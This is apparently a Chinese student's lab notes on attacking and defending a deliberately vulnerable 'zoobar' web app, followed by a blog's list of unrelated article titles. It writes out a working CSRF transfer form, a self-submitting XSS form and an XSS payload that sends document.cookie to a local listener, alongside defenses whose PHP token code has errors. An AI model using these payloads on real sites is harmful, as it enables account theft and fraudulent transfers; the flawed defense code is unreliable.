首先在user.php文件中去除黑名单的第一行标签,在白名单中添加<script>
E1:csrf攻击zoobar
csrf:cross-site request forgery    跨站伪造请求
普通用户登录myzoo网站后,在未退出的状态下,浏览了attack/csrf网站
该网站伪造了一份myzoo网站的表单,普通用户在不知情的状态下,自动被提交了一份恶意表单
由于http协议的无状态特性,在每一份请求的表单中会自动带上cookie
从而在myzoo网站看来一份合法的请求被提交
iframe限制了网站跳转,普通用户难以察觉

<iframe name=my_iframe width=70% height=40%></iframe>
<form method=POST name=transferform action="http://www.myzoo.com/transfer.php" target="my_iframe">
<p>Send <input name=zoobars type=text value="1" size=5> zoobars</p>
<p>to <input name=recipient type=text value="attack"></p>
<input type=submit name=submission value="Send">
</form>
 
E2:csrf防御攻击zoobar
方案1:
验证HTTP Referer字段,它记录了该HTTP请求的源地址
缺点:该字段可以被普通用户修改

方案2:【相对合理】
在请求中添加token并验证
在服务器端建立拦截器验证此token

基本思路:
1)启动session
<?php session_start; ?>
2)在session中产生一个随机数
$_session['csrf']=md5(uniqid(mt_rand(),true));
3)将生成的值放在表单中
<input type=hidden name=csrf value="<?php echo $_session['csrf']?>"/>
4)用户提交表单验证提交的token是否和session中保存的值一致

 if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists &&
        $_post['submission'] && ($_post['csrf']==$_session['csrf']))
 
E3:xss攻击zoobar
xss:cross sitescript    跨站脚本攻击
通过js创建自提交表单

<script>
var f=document.createElement("form");
document.body.appendChild(f);
 
var a=document.createElement("input");
a.type="hidden";
a.type="text";
a.value="1";
a.name="zoobars";
f.appendChild(a);
 
var b=document.createElement("input");
b.type="hidden";
b.type="text";
b.name="recipient"
b.value="aa";
f.appendChild(b);
 
var c=document.createElement("input");
c.type="hidden";
c.name="submission";
c.value="Send";
f.appendChild(c);
 
f.method="POST";
f.name="transferform";
f.submit();
</script>

E4:xss防御攻击zoobar
同理csrf防御攻击zoobar

 
E5:xss攻击cookie
凡是可以执行js代码的地方就可能存在xss漏洞!

<script>
document.write("<img src=http://127.0.0.1:2002?cookie="+document.cookie+">");
</script>
E6:xss防御攻击cookie 
HttpOnly

setcookie($this->cookieName, $cookieData, time() + 31104000,NULL,NULL,NULL,TRUE);

突然又没有跑出应有的结果,下次再贴图

最新文章

  1. 【开源】OSharp框架解说系列(1):总体设计及系列导航
  2. XidianOJ 1195 Industry of Orz Pandas
  3. 《利用Python进行数据分析》第4章学习笔记
  4. jquery ajax 开发手记
  5. JavaBean技术
  6. iterm2 配色修改
  7. Jquer学习
  8. windows中.msc文件详解
  9. iOS之Alcatraz常见插件
  10. ionic常用命令记录
  11. Mysql精华版(命令大全)
  12. Linux+.Net Core+Nginx(在Linux上使用Nginx反向代理.Net Core 项目)
  13. html5 css练习,弹性三栏布局
  14. Redis连接池
  15. SVN服务端和客户端的安装与搭建
  16. 查看linux系统CPU及内存配置
  17. Quartz.NET快速入门指南
  18. Openstack配置文件管理的变迁之路
  19. vue与自定义元素的关系
  20. Windows 7硬盘安装CentOS 6.4 双系统 (WIN7下硬盘安装Linux(Fedora 16,CentOS 6.2,Ubuntu 12.04))

热门文章

  1. 【数学】HDU 5753 Permutation Bo
  2. Number of Islands——LeetCode
  3. UVAlive3713 Astronauts(2-SAT)
  4. android学习之4种点击事件的响应方式
  5. ffmpeg错误隐藏框架分析
  6. [Unit Testing] Angular Unit Testing, ui-router, httpbackend and spy
  7. 机器学习笔记——K-means
  8. QP01 BAPI、QP02 BDC
  9. select 响应时间 js
  10. ListIterator add remove 使用注意